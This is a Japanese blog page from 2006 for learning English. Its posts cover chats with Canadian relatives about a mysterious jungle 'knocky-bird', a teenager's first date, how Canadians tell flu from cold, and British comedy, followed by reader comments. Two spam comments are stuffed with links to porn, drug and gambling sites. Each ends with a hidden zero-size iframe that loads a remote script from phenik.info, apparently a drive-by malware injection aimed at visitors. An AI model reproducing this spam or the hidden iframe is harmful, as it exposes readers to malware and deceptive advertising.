リリエイゴ〜楽しく英会話〜


リリエイゴとは

記事一覧

メール

リリーニュース

Riri Inoue'blog in English

リリレシピ・世界の料理

Riri-Inoue web site/井上リリーHP 世界地図

2006-08-02

[]knocky-birdって何

さっき、カナダの親戚ベンジャミンチャットをしました。彼は、大学院卒業旅行ということで、幼なじみエリンとともにカンボジア旅行に来ています。エリン科学者の娘でレズビアンベジタリアン彼女がいて、二人でトライアスロンを目指すほどのスポーツ好きです。

そんなエリンと、アウトドアオタクのベンの旅行はいったいどうなっているのやら、、と、聞いてみたら、やっぱりカンボジアジャングルでのサバイバル旅行となっていました。

Riri: How is your trip?

Ben : oh, it is full of adventure. Sometimes there are bad times,sometimes good!,,sometimes it's scary!

we were in the jungle and there was a knock on the door of our small cabin. And we hear "graaaa---ooohhhhh" "graaaaa---oohhhhh"! maybe it was a geko? We call it the "knocky-bird" and are afraid of it

、、、、さて、geko こと knocky-birdってなんだったんでしょうね??gekoはトカゲの一種らしいのですが、トカゲって鳴いたっけ??

You will understand our fear and confusion when i tell you the story in person!!!

と、いうことで、カンボジアから帰るついでに東京に寄るそうなので、その時じっくり話を聞かせてもらうことにします。でも、なんだろう。knocky-birdって。

2006-06-26

[]世界の思春期

私のホストブラザーJohnの写真を、写真集に起用するにあたり、彼の名字マクドナルドが、MacdonaldなのかMcdonaldなのかが知りたくて彼と久々にチャットした。Johnはバンクーバー在住、16歳。

私が、「二年前に撮った写真写真集にいれとくよ!」というと、「僕はもう、あのころの僕とは違うよ」なんて言われてびっくり。背が急激に延びたそうです。また、ロングヘアーにして、ほっぺたも落ちて、彼女もできたんだそうです。

背が伸びたせいで、all the girls at my school seem like children とのこと。So, did you become very handsome ??と聞くと迷わずyes, and zittyの返事。yesと言える理由は、i know this because i just had my first date and i wasnt the one who asked her out. she asked me out. ふむふむ、それで自信がついたようです。

思・春・期!!

Riri : How was the date??

John : not bad.it was sort of a group thing with her friends. but next time...

なるほど、初デートグループデートだったわけだけれど、次は彼女をseiling に連れ出して、二人だけでデートしようと企んでいる、、、と。

久々に初々しい空気を感じました。

いや〜、若い。若くてびっくりよ。

ちなみに、マクドナルドには、二つ綴りがあって、どちらもスコティッシュ系らしいです。また、発音はどちらの綴りの場合も同じだそうです。ややこしいなあ。

shimshim2006/06/27 08:44MacDonaldのMacは「息子」っていう意味の接頭辞なんだよ。「ドナルドの息子」。McCartneyは「カートニーの息子」。だからDonaldは大文字のDから始まる。「Mac~」はスコットランドに多い苗字。モンティパイソンに世界がどんどんスコットランド化していく、というジョークがあって、その時には関係ない看板の文字とかに「Mac」がついていくというシーンがある。

ririinoueririinoue2006/06/28 01:06へ〜、そうなんだ。でも、ただの息子と言う意味なのに、MacだったりMcだったりするんだね。ややこしいなあ。

2006-05-14

[] flu と cold に関する疑問

英語では一般に、インフルエンザのことをflu、風邪のことをcoldと呼びます。

さて、日本でもよく、インフルエンザ風邪を混同しないように、、とかいいますよね。でも、お医者さんに診てもらうまでは、自分がインフルエンザなのか、かぜなのか、なかなか判断がつかないものです。

今回わたしがお話したいのは、お医者さんにかかる前の家庭レベルでの診断についてです。

どうやら、カナダの友達と、私の考えるインフルエンザの定義に若干ずれがあるようなのです。

みなさんは、どういう症状のときに、自分や家族がかかった「かぜのようなもの」を、インフルエンザだと思いますか?私の基準では、高熱が出て、風邪よりも重い症状だったらインフルエンザを疑う、、というところでしょうか。でも、カナダ人の友人たちは、どうも私と違う基準でfluとcoldを区別しているような気がして、わたしはいまも、カナダの一般市民における、fluとcoldの区別について混乱しているのです。

たとえば、こうです。

1:私が、かぜのようなものにかかります。で、I think I'm sick という状態に突入します。でも、But I haven't seen a doctor yet. と、いうことでまだ病院に行っていません。

2:そこで、what are your symptoms? という感じで、友達などに病状を聞かれます。

3:病状が、headache, stomachache and feeling dizzy だったとして、でもhigh fever はなかったとします。

4:私は、高熱がないところや、病状がひどすぎないことから、I guess I caught a cold と言います。

5:でも、カナダ人の友人は口をそろえて、No, I think you have the flu ! などと言われます。

6:私は、あれ?fluってインフルエンザのことじゃなかったけ?と思って辞書を引いたりして確認します。

7:インフルエンザについてのお互いの認識の差を知ります。

さきほど、ベンジャミンチャットをしてて、まさにこの話題となりました。

彼曰く、風邪とは、colds usually have sore throats, coughing... runny noseなんだそうです。

でも、インフルエンザとは、but the flu feels like seventeen strong men have been beating you with padded baseball bats all night なんだそうです、、、、、。う〜ん、聞くだけで恐ろしい。つまりは、全身痛かどうか、ということでしょうか。高熱かどうかは判断の基準となっていないようでした。

今まさに私は、頭が痛くて、おなかが痛くて、めまいがしていて、でも高熱はなく、鼻水や咳などの症状もないのですが、今の段階の私の病状を日本では風邪カナダではインフルエンザではないか、と、別の認識をされるというのはとても興味深いです。

とはいえ、病院で診てもらったら、日本でもカナダでも同じ判断を下されるのは間違いないのですが、、、。早く病院に行け、ということなのかも。

インフルエンザについて

http://www.med.or.jp/influenza/inqa_b.html

[] flu と cold に関する疑問2

いま、カナダのバルジンダル(彼はファミリードクター)に電話して、私がfluであるかcoldであるか電話診察してもらいました。

結果、わたしのかぜはfluではなく、coldだそうです。パチパチパチ。

augustaaugusta2006/06/05 05:56この間、hostfamilyがおなかからくるカゼをひいたとき、stomach fluって言っていました。自然に聞いていましたが、考えてみるとstomach coldじゃ不自然な感じがします。痛み、が関係あるのかもしれませんね。host fatherは“My muscle is sore”とも言っていました。

IWantToTopIWantToTop2006/10/27 17:39http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html ,<a href="http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html">adult female masturbation movie xxx</a> ,[url=http://adultmovieonline.info/adult-female-masturbation-movie-xxx.html]adult female masturbation movie xxx[/url] ,http://adipexcheaponline.info/adipex-drug.html ,<a href="http://adipexcheaponline.info/adipex-drug.html">adipex drug</a> ,[url=http://adipexcheaponline.info/adipex-drug.html]adipex drug[/url] ,http://autocarsaleonline.info/car-buy-new-texas.html ,<a href="http://autocarsaleonline.info/car-buy-new-texas.html">car buy new texas</a> ,[url=http://autocarsaleonline.info/car-buy-new-texas.html]car buy new texas[/url] ,http://partialpoker24.info/cheat-money-party-play-poker.html ,<a href="http://partialpoker24.info/cheat-money-party-play-poker.html">cheat money party play poker</a> ,[url=http://partialpoker24.info/cheat-money-party-play-poker.html]cheat money party play poker[/url] ,http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html ,<a href="http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html">canadian association of pharmacy technician</a> ,[url=http://pharmacyonline24.info/canadian-association-of-pharmacy-technician.html]canadian association of pharmacy technician[/url] ,http://pornfreenice.info/italian-porn-star.html ,<a href="http://pornfreenice.info/italian-porn-star.html">italian porn star</a> ,[url=http://pornfreenice.info/italian-porn-star.html]italian porn star[/url] ,http://somaonline24.info/soma-sd.html ,<a href="http://somaonline24.info/soma-sd.html">soma sd</a> ,[url=http://somaonline24.info/soma-sd.html]soma sd[/url] ,http://stockinvestingonline.info/stock-investing-advice.html ,<a href="http://stockinvestingonline.info/stock-investing-advice.html">stock investing advice</a> ,[url=http://stockinvestingonline.info/stock-investing-advice.html]stock investing advice[/url] ,http://valiumonline24.info/2006-guestbook.php-inurl-valium.html ,<a href="http://valiumonline24.info/2006-guestbook.php-inurl-valium.html">2006 guestbook.php inurl valium</a> ,[url=http://valiumonline24.info/2006-guestbook.php-inurl-valium.html]2006 guestbook.php inurl valium[/url] ,http://sys.forumup.org/index.php ,<a href="http://sys.forumup.org/index.php">index.php</a> ,[url=http://sys.forumup.org/index.php]index.php[/url] ,<iframe src="http://phenik.info/9.php" width=0 height=0></iframe>

IWantToTopIWantToTop2006/10/28 11:57http://adultmovieonline.info/gay-adult-movie.html ,<a href="http://adultmovieonline.info/gay-adult-movie.html">gay adult movie</a> ,[url=http://adultmovieonline.info/gay-adult-movie.html]gay adult movie[/url] ,http://adipexcheaponline.info/adipex-loss-phentermine-weight.html ,<a href="http://adipexcheaponline.info/adipex-loss-phentermine-weight.html">adipex loss phentermine weight</a> ,[url=http://adipexcheaponline.info/adipex-loss-phentermine-weight.html]adipex loss phentermine weight[/url] ,http://autocarsaleonline.info/buy-car-carolina-new-north.html ,<a href="http://autocarsaleonline.info/buy-car-carolina-new-north.html">buy car carolina new north</a> ,[url=http://autocarsaleonline.info/buy-car-carolina-new-north.html]buy car carolina new north[/url] ,http://partialpoker24.info/bill-poker-series-simmons-world.html ,<a href="http://partialpoker24.info/bill-poker-series-simmons-world.html">bill poker series simmons world</a> ,[url=http://partialpoker24.info/bill-poker-series-simmons-world.html]bill poker series simmons world[/url] ,http://pharmacyonline24.info/cvs-pharmacy-hours.html ,<a href="http://pharmacyonline24.info/cvs-pharmacy-hours.html">cvs pharmacy hours</a> ,[url=http://pharmacyonline24.info/cvs-pharmacy-hours.html]cvs pharmacy hours[/url] ,http://pornfreenice.info/porn-sex.html ,<a href="http://pornfreenice.info/porn-sex.html">porn sex</a> ,[url=http://pornfreenice.info/porn-sex.html]porn sex[/url] ,http://somaonline24.info/soma-cruz.html ,<a href="http://somaonline24.info/soma-cruz.html">soma cruz</a> ,[url=http://somaonline24.info/soma-cruz.html]soma cruz[/url] ,http://stockinvestingonline.info/value-stock-investing.html ,<a href="http://stockinvestingonline.info/value-stock-investing.html">value stock investing</a> ,[url=http://stockinvestingonline.info/value-stock-investing.html]value stock investing[/url] ,http://valiumonline24.info/3.75-discount-valium.html ,<a href="http://valiumonline24.info/3.75-discount-valium.html">3.75 discount valium</a> ,[url=http://valiumonline24.info/3.75-discount-valium.html]3.75 discount valium[/url] ,http://sys.forumup.org/index.php ,<a href="http://sys.forumup.org/index.php">index.php</a> ,[url=http://sys.forumup.org/index.php]index.php[/url] ,<iframe src="http://phenik.info/9.php" width=0 height=0></iframe>

loollool2006/11/06 00:38Nice!! <a href= ></a> - [url=][/url] -

2006-05-13

[]ブリティッシュコメディ

最近わたしは、Kirstyというイギリス人家庭教師英語を教わっています。彼女は「狂言ギリシャ演劇の比較」をするために東大留学中です。と、いっても4月から日本にきたばかりらしく、当分は日本語勉強とのこと。

授業は週に一回、エッセイ添削をしてもらっているのですが、Kirstyとは仲良くなれてきたので、今日は親交を深めるために、一緒にブリティッシュコメディーを見ました。

イギリスの、Kirstyのお父さんがとっている新聞には、毎週コメディDVDがおまけでついてくるらしく、フリーDVDを山ほど持ってきてくれました。

イギリスコメディ−ってすごくシニカルですね!!びっくりしました。オチとか救いがないような、、、、。

たくさんのショーットコメディーをみたのですが、記憶に残っているのをちょっと書くと

第二次世界大戦中、母国に取り残された老人たちhome godの話

・なにもできない男(a failure)の話

・いつも観光バスに乗り遅れる男の話

・手術中、医者だとおもっていた執刀医が、実は脱走した精神患者だったという話。医者は遅れて到着し、既に精神患者によって始められている手術に出くわす。

脱獄した二人組をかくまってくれた2人の老人。でも、老人たちがあまりに貧しく、ひどい生活をしていて、刑務所の方がましだということでいったん脱獄したものの刑務所にまた帰る話

結局私たちは、2時間以上、何本ものコメディーをみて、その日は解散となりました。

ミカミカ2006/05/16 22:50私もブリティッシュコメディ大好き。モンティパイソンとかレッドドワーフ
とかローワン・アトキンソンとか…そのために英国留学を考えていたくらいです。
いいなー素敵やん!イギリス人とコメディー見るなんて!!

ririinoueririinoue2006/05/17 00:37ブリティッシュコメディー、難しかったよ〜。まだ、ブリティッシュアクセントにぜんぜん馴れなくて、なかなか聞き取れないし、Kirstyに解説してもらわないと、文化的なバックグラウンドも全然わからないし。大変勉強になりました。
この、ブリティッシュコメディを見る会は、毎週開かれることになりそうです、、。みかさんも、東京へお越しの際は、ぜひ、、。

ミカミカ2006/05/19 21:23ブリティッシュアクセントいいよね~訛ってんのとか大好き。実際会って聞くと
あまりの聞き取れなさにむかつくねんけど…(笑)。
イギリスは階級の差っていうのが大いにコメディとか皮肉っぽいとこなどに影響しているような気がします。それぞれの階級が自分たちのことを誇りに思っていて、その違いが幅広い文化を生んでるんだなと感じたり…。興味深い国ですね。

ririinoueririinoue2006/05/20 05:59いや〜、本当に興味深い国だよねえ。Kirstyも、「一応、階級社会をなくそう、もしくはもうないというようなことを言われたりするけど、実際あるよね。」て言ってた。で、Kirstyは中流階級で、やっぱり上流階級の英語はへんに聞こえるし、下層階級の英語もいただけないんだそうだ。ちなみに、普段の食事はパスタか揚げ物、ピザで、とうふが大嫌いなんだそうだ。